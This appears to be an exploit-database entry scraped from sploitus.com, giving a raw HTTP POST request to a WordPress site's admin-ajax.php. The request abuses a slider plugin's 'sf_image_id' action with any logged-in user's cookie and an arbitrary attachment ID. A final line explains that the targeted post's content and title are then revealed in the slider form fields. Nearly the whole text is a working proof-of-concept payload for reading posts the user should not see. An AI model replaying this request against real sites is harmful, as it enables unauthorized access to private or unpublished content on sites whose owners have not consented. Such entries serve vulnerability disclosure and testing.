## https://sploitus.com/exploit?id=WPEX-ID:B7697900-C80C-4035-9E2B-AA9A9EC80765
POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 55
Connection: close
Cookie: [any authenticated user]
action=sf_image_id&sf_attachment_id=1055&sf_slider_id=a
The post content will be displayed in the Slide Description textarea, the Post title in the Slide Title value attribute